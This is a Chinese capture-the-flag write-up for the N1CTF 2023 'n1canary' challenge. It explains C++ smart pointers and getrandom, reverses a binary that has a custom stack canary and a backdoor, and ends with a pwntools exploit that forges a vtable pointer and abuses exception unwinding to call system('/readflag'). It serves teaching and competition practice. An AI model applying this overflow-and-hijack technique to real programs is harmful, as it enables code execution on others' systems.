2023 N1CTF-n1canary

文章目录

  • 参考
  • n1canary
    • 模板类和模板函数
    • make_unique和unique_ptr
      • std::unique_ptr
        • 示例:
      • std::make_unique
        • 示例:
      • 结合使用示例
    • operator->
    • getrandom
    • 逆向
    • 源码
    • 思路
    • exp

参考

https://nese.team/posts/n1ctf2023/

n1canary

模板类和模板函数

template <size_t SIZE> struct ProtectedBuffer {  char buf[SIZE];
};ProtectedBuffer<64> buf

ida中
在这里插入图片描述

  template <typename Fn> void mut(Fn const &fn) {fn(buf);check();}buf.mut([](char *p) { scanf("%[^\n]", p); });

ida中
在这里插入图片描述
Fn是函数类型,如函数参数,函数返回值可用lambda表达式代替,然后mut的参数就是在前一步基础上带有具体的函数方法体了,也是Fn函数类型的,IDA似乎直接把mut的参数优化成了函数方法体的参数了,函数方法体已经生成在具体的函数里了

make_unique和unique_ptr

std::unique_ptr

std::unique_ptr是一个智能指针,它拥有其所指向的对象的独占所有权。这意味着一旦std::unique_ptr超出作用域,它会自动调用析构函数并释放其管理的对象,防止内存泄漏。std::unique_ptr不允许复制,但可以移动,这意味着资源的所有权可以在不同的std::unique_ptr之间转移。

示例:
#include <iostream>
#include <memory>// 定义一个简单的类
class MyClass {
public:MyClass(int value) : value_(value) {std::cout << "MyClass constructed with value: " << value_ << std::endl;}~MyClass() {std::cout << "MyClass destructed." << std::endl;}int getValue() const {return value_;}
private:int value_;
};int main() {// 使用 std::unique_ptr 来管理 MyClass 的对象std::unique_ptr<MyClass> uptr = std::make_unique<MyClass>(42);// 使用智能指针访问对象std::cout << "Value from MyClass: " << uptr->getValue() << std::endl;// std::unique_ptr 在超出作用域时会自动释放其管理的对象return 0;
}

std::make_unique

std::make_unique是C++14中引入的一个工厂函数,用于方便地创建std::unique_ptr对象。它可以自动推导出对象的类型,并调用合适的构造函数来初始化对象,避免了手动使用new操作符的繁琐和潜在错误。

示例:
#include <iostream>
#include <memory>// 使用 std::make_unique 直接创建并初始化 std::unique_ptr
int main() {auto uptr = std::make_unique<int>(42); // 创建一个指向整数的 std::unique_ptr// 使用智能指针访问对象std::cout << "Value from unique_ptr: " << *uptr << std::endl;// std::unique_ptr 在超出作用域时会自动释放其管理的对象return 0;
}

结合使用示例

结合std::make_uniquestd::unique_ptr,我们可以非常简洁和安全地管理动态内存:

#include <iostream>
#include <memory>class MyClass {
public:MyClass(int value) : value_(value) {}~MyClass() { std::cout << "MyClass destructed." << std::endl; }int getValue() const { return value_; }
private:int value_;
};int main() {// 使用 std::make_unique 创建 std::unique_ptr 并初始化 MyClass 对象auto uptr = std::make_unique<MyClass>(42);// 访问 MyClass 对象的值std::cout << "Value from MyClass: " << uptr->getValue() << std::endl;// std::unique_ptr 在 main 函数结束时自动释放其管理的 MyClass 对象return 0;
}

在上面的示例中,std::make_unique用于创建std::unique_ptr,并在MyClass的构造函数中传递一个整数值。std::unique_ptr负责在main函数结束时释放MyClass对象。

operator->

在C++中,operator->是一个成员访问操作符,它被用来重载指针的解引用箭头操作符。当你使用->来访问一个对象的成员时,这个操作实际上是在调用operator->函数。

对于std::unique_ptr而言,operator->成员函数返回一个指向其管理的对象的指针。这使得你可以像使用普通智能指针一样通过->操作符来访问对象的成员。

getrandom

getrandom() 函数是在 Linux 内核版本 3.17 中引入的,旨在提供一种更安全的方式来获取随机数,尤其是当应用程序需要高质量的随机数据时,比如在加密应用中。这个函数比旧的 /dev/urandom/dev/random 设备文件更高效,因为它减少了上下文切换和系统调用的开销。

getrandom() 函数的原型如下:

#include <linux/random.h>
#include <unistd.h>ssize_t getrandom(void *buf, size_t buflen, unsigned int flags);
  • buf: 是一个指向缓冲区的指针,getrandom() 将把随机数据写入这个缓冲区。
  • buflen: 是缓冲区的大小,即期望填充的字节数。
  • flags: 可以包含一些标志位,例如:
    • GRND_RANDOM: 强制从阻塞的熵池中读取数据,这类似于从 /dev/random 获取数据。如果熵池中的数据不足,此函数会阻塞直到有足够的熵为止。
    • GRND_NONBLOCK: 如果熵池中的数据不足,此函数不会阻塞,而是立即返回。如果返回值是负数,你可以通过检查 errno 来确定是否是因为熵池中的数据不足。
    • 默认情况下,getrandom() 行为类似于从 /dev/urandom 获取数据,即它总是返回非阻塞的随机数据,即使熵池中的数据不足。

getrandom() 返回的是写入缓冲区的字节数,如果发生错误则返回一个负值,此时可以通过 errno 变量来确定具体的错误原因。

逆向

在这里插入图片描述
在这里插入图片描述
会通过随机数生成方式填充sys_canary,然后通过输入方式用户输入一个8个字节的到user_canary

在这里插入图片描述

根据虚表追踪到最终调用的虚函数
在这里插入图片描述
在这里插入图片描述
三个变量,没有虚函数,实现四个函数
在这里插入图片描述
在这里插入图片描述

模板参数是一个lambda表达式,该lambda表达式是在BOFApp::launch函数中定义的,并且接受一个char *类型的参数

调用了lambda表达式的operator(),即执行了lambda函数体。a2和a1作为参数传递给这个lambda函数
在这里插入图片描述
往ProtectedBuffer的前64个字节的起始位置输入,但没有长度限制,溢出
在这里插入图片描述
会检查溢出,如果不一样就会抛出异常在这里插入图片描述
然后回溯到man函数,被main函数的catch给处理

在这里插入图片描述
然后catch后会执行
在这里插入图片描述

有后门
在这里插入图片描述

源码

#include "sys/random.h"
#include "utils.h"
#include <cstdio>
#include <cstring>
#include <memory>
constexpr size_t CANARY_RANDBITS = 3;
constexpr size_t CANARY_SHIFTBITS = 4;
constexpr size_t CANARY_POOL_SIZE = 1 << CANARY_RANDBITS;
u64 user_canary[CANARY_POOL_SIZE];
u64 sys_canary[CANARY_POOL_SIZE];
template <size_t SIZE> struct ProtectedBuffer {char buf[SIZE];char padding = 0;u64 canary;ProtectedBuffer() {bzero(buf, sizeof(buf)); //bzero函数将buf数组清零canary = getCanary();}u64 getCanary() {u64 addr = (u64)this;u64 canary_idx = (addr >> CANARY_SHIFTBITS) & (CANARY_POOL_SIZE - 1);//canary_idx 0~15u64 raw_canary = user_canary[canary_idx] ^ sys_canary[canary_idx];return raw_canary;}void check() {if (canary != getCanary()) {raise("*** stack smash detected ***");}}//typename关键字用于声明模板参数Fn是一个类型template <typename Fn> void mut(Fn const &fn) {fn(buf);check();}// mut是一个模板成员函数,它接受一个函数对象Fn,// 通常是一个lambda或函数指针。这个函数对象应该接受一个char *类型的参数,即缓冲区的地址。// mut函数执行传入的函数对象,并在完成后调用check()来验证缓冲区的完整性。
};static void init_canary() {if (sizeof(sys_canary) != getrandom(sys_canary, sizeof(sys_canary), 0)) {raise("canary init error");}puts("To increase entropy, give me your canary");readall(user_canary);
}struct UnsafeApp {UnsafeApp() { puts("creating dangerous app..."); }virtual ~UnsafeApp() {}virtual void launch() = 0;
};struct BOFApp : UnsafeApp {void launch() override {ProtectedBuffer<64> buf;puts("input something to pwn :)");buf.mut([](char *p) { scanf("%[^\n]", p); });//读取一系列字符,直到遇到一个不属于集合[^]的字符为止//从标准输入读取一整行文本(不包括换行符),并将其存储在p指向的缓冲区puts(buf.buf);}
};static void backdoor() { system("/readflag"); }int main() {setbuf(stdin, nullptr);setbuf(stdout, nullptr);init_canary();try {auto app = std::make_unique<BOFApp>();app->launch();} catch (...) { //catch (...) 是一个捕获所有类型的异常的通用捕获块puts("error!!!");exit(1);}
}#pragma once
#include <cstdlib>
#include <stdexcept>
#include <unistd.h>
using u64 = unsigned long long;
static inline void raise(const char *msg) {puts(msg);throw std::runtime_error(msg);
}
static inline void readall(void *ptr, size_t size) {char *p = (char *)ptr;size_t tot = 0;while (tot < size) {auto res = read(STDIN_FILENO, p + tot, size - tot);if (res <= 0)raise("IO error");tot += res;}
}
template <typename T> static inline void readall(T &dest) {readall(&dest, sizeof(dest));
}

思路

溢出能够控制栈上内容,由于溢出控制的是main中调用launch的栈帧内容,如果溢出到原来main函数的栈帧,那么当异常回溯到main时没准可以利用到溢出的内容进而造成漏洞利用

原来溢出,但没有溢出到返回地址时,throw后跳转到的catch就是main函数部分的
在这里插入图片描述
原来的返回地址是0x0000000000403407 ,溢出保持返回地址不变,随意覆盖rbp并不产生段错误
在这里插入图片描述
查看是否有利用到溢出后的main函数的栈帧的函数

mov rax, rsp mov rdi, rax正好会把当前溢出的0x4f4aa0所在的栈地址移动到rax和rdi
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
std::__uniq_ptr_impl<BOFApp,std::default_delete<BOFApp>>::_M_ptr套娃半天就是返回第一个参数,第一个参数就是0x4f4aa0所在的栈地址,然后std::unique_ptr<BOFApp>::get_deleterstd::move<BOFApp *&>也是一样,只能看std::default_delete<BOFApp>::operator()(BOFApp*)
在这里插入图片描述
rbx之前就被赋值为了0x4f4aa0所在栈地址
在这里插入图片描述

这里将0x4f4aa0作为第二个参数0x4f4aa0所在栈地址作为第一个参数,然后检查第二个参数不为空就会call 第二个参数指向的值+8作为地址指向的内容作为函数指针,所以0x4f4aa0所在地址的值为0x4f4aa0然后+8作为地址0x4f4aa0+8的位置的内容为函数指针,最后就会跳转到这个函数这里去,所以0x4f4aa0+8的值为后门的地址即可
真的太妙了真的太妙了感觉我是废物
在这里插入图片描述

在这里插入图片描述

exp

from pwn import *
a = process("./a.out")gdb.attach(a)
pause()
payload = p64(0x4f4aa0) + p64(0x403387)
payload = payload.ljust(64,b"a")
a.sendlineafter(b"To increase entropy, give me your canary\n",payload)payload = b"a"*0x68+p64(0x403407)+p64(0x4f4aa0)
a.sendlineafter(b"input something to pwn :)\n",payload)
a.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/870515.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

TCP协议的三次握手和四次挥手(面试)

三次握手 首先可以简单的回答&#xff1a; 1、第一次握手&#xff1a;客户端给服务器发送一个 SYN 报文。 2、第二次握手&#xff1a;服务器收到 SYN 报文之后&#xff0c;会应答一个 SYNACK 报文。 3、第三次握手&#xff1a;客户端收到 SYNACK 报文之后&#xf…

内存巨头SK海力士正深化与TSMC/NVIDIA合作关系,开发下一代HBM

据BusinessKorea报道&#xff0c;内存巨头SK海力士正深化与台积电(TSMC)及英伟达(NVIDIA)的合作关系&#xff0c;并计划在9月的台湾半导体展(Semicon Taiwan)上宣布更紧密的伙伴关系。 SK海力士与台积电的合作历史已久。2022年&#xff0c;台积电在其北美技术研讨会上宣布成立O…

GRE详解:概念、架构、原理、搭建过程、常用命令与实战案例

我们将深入探讨如何在 Linux 上设置 GRE&#xff08;Generic Routing Encapsulation&#xff0c;通用路由封装&#xff09;。本文将涵盖 GRE 的定义、架构、原理、应用场景、常见命令体系&#xff0c;并通过详细的实战模拟展示如何在 Linux 系统上实际操作。希望通过这篇文章&a…

FlyDeliver践行社会责任,推动绿色物流发展

近日, 在追求商业成功的同时,FlyDeliver(FD配送)始终不忘践行社会责任。公司积极响应国家环保与可持续发展的号召,致力于推动绿色物流的发展。FlyDeliver(FD配送)在配送过程中积极采用低碳环保的运输方式,减少对环境的影响。同时,公司还积极参与各类公益活动,为社会献上爱心与力…

a-table(Ant Design Vue) 滚动到指定行位置

在使用 a-table 组件时&#xff0c;如果你想滚动到指定的行位置&#xff0c;可以通过访问内部的表格元素并调整其 scrollTop 属性来实现。以下是一个基于 Vue 和 Ant Design Vue 的例子&#xff0c;演示如何滚动到指定行位置&#xff1a; <template><a-table :column…

脉脉高聘:面对薪资福利减少,超40%职场人自动缩短工时

近日&#xff0c;脉脉高聘人才智库发布《2024职场生存洞察》&#xff08;下称《洞察》&#xff09;。 数据显示&#xff0c;2024上半年&#xff0c;新经济行业求职压力居高不下&#xff0c;人才供需比达到1.97&#xff0c;相当于2个人竞争1个岗位。求职压力也让职场人心态趋于…

vivado EQUIVALENT_DRIVER_OPT、EXCLUDE_PLACEMENT

Vivado工具将所有逻辑上等效的信号的驱动程序合并为单个驱动程序 在逻辑优化过程中指定-merge_equivalent_drivers选项时 &#xff08;opt_design&#xff09;。请参阅《Vivado Design Suite用户指南&#xff1a;实施》中的此链接 &#xff08;UG904&#xff09;[参考文献20]了…

windows下安装和使用nacos

概述 Nacos致力于帮助您发现、配置和管理微服务。Nacos提供了一组简单易用的特性集&#xff0c;帮助您快速实现动态服务发 现、服务配置、服务元数据及流且管理 Nacos官方文档&#xff1a;https://nacos.io/zh-cn/docs/quick-start.html Nacos下载地址&#xff1a;https://n…

react获取访问过的路由历史记录

看了下&#xff0c;好像没有很好的解决方案&#xff0c;之前的useHistory现在也用不了了&#xff0c; chatgpt说使用useMatch&#xff0c;也报错 看了下浏览器原生的。本来浏览器就会限制这个histroy的读取&#xff0c;只能获取length https://developer.mozilla.org/zh-CN/…

小程序问题

1.获取节点 wx.createSelectorQuery() wx.createSelectorQuery().in(this) //组件中加in(this)&#xff0c;不然获取不到 2.使用实例 wx.createSelectorQuery().in(this).select(#share).fields({node: true,size: true}).exec(async (res) > {const canvas res[0].node;…

java org.aeonbits.owner库介绍

org.aeonbits.owner 是一个用于简化Java应用程序配置管理的库。它通过使用接口和注解来定义和读取配置,使得配置管理更加简洁和类型安全。以下是对这个库的一些主要特性和功能的介绍: 主要特性 类型安全的配置: OWNER 库允许开发者使用接口定义配置,从而提供了编译时的类型…

通过window.postMessage,跨域传递数据

第一个项目的代码&#xff0c;项目地址 http://localhost:5173/ 第二个项目的代码&#xff0c;项目地址 http://localhost:5174/ 点击按钮会打开第二个项目的页面 第二个项目的页面

【LeetCode】最长连续序列

目录 一、题目二、解法完整代码 一、题目 给定一个未排序的整数数组 nums &#xff0c;找出数字连续的最长序列&#xff08;不要求序列元素在原数组中连续&#xff09;的长度。 请你设计并实现时间复杂度为 O(n) 的算法解决此问题。 示例 1&#xff1a; 输入&#xff1a;nu…

Rust代码优化的九大技巧

一.使用 Cargo 内置的性能分析工具 描述&#xff1a;Cargo 是 Rust 的包管理器&#xff0c;带有内置工具来分析代码性能&#xff0c;以识别性能瓶颈。 解释&#xff1a; 发布模式&#xff1a;在发布模式下编译启用优化&#xff0c;可以显著提高性能。 cargo build --release基…

StarRocks下载使用说明和基础操作

简介 StarRocks 是一款高性能分析型数据仓库&#xff0c;使用向量化、MPP 架构、CBO、智能物化视图、可实时更新的列式存储引擎等技术实现多维、实时、高并发的数据分析。StarRocks 既支持从各类实时和离线的数据源高效导入数据&#xff0c;也支持直接分析数据湖上各种格式的数…

142. 两个字符串的最小 ASCII 删除总和(卡码网周赛第二十五期(23年B站笔试真题))

题目链接 142. 两个字符串的最小 ASCII 删除总和&#xff08;卡码网周赛第二十五期&#xff08;23年B站笔试真题&#xff09;&#xff09; 题目描述 给定两个字符串 s1 和 s2&#xff08;0 < s1.length, s2.length < 1000&#xff09;&#xff0c;返回使两个字符用相等所…

C++:组合和继承的区别

组合介绍以及与继承对比 什么是组合 (1)composition&#xff0c;组合&#xff0c;就是在一个class内使用其他多个class的对象作为成员 (2)用class tree做案例讲解 (3)组合也是一种代码复用方法&#xff0c;本质也是结构体包含 #include <iostream> #include <vector…

CMakeLists.txt编写思路

近期在linux编写CMakeLists.txt文件&#xff0c;整理了一些思路。 一、编写CMakeLists.txt的基本步骤和思路&#xff1a; 初始化CMake&#xff1a; 使用cmake_minimum_required指令指定CMake的最小版本要求&#xff0c;以确保兼容性。使用project指令定义项目名称和可选的语言…

前端-Cookie篇

文章目录 一、由来什么是Cookie&#xff1f;特点Cookie的类型 二、原理三、Cookie生成机制客户端设置案例 四、属性五、缺陷最后分享一段自己工作中封装的一些关于cookie的公众方法✒️总结 前端Cookie是Web开发中非常重要的一部分&#xff0c;它是服务器发送到用户浏览器并保存…

Mysql索引什么时候会失效

在 MySQL 中&#xff0c;索引是提高查询效率的关键工具&#xff0c;但在某些情况下&#xff0c;索引可能会失效。以下是一些常见的索引失效情况&#xff1a; 使用不等号&#xff08;! 或 <>&#xff09;&#xff1a; 使用不等号会导致索引失效&#xff0c;因为不等号无法…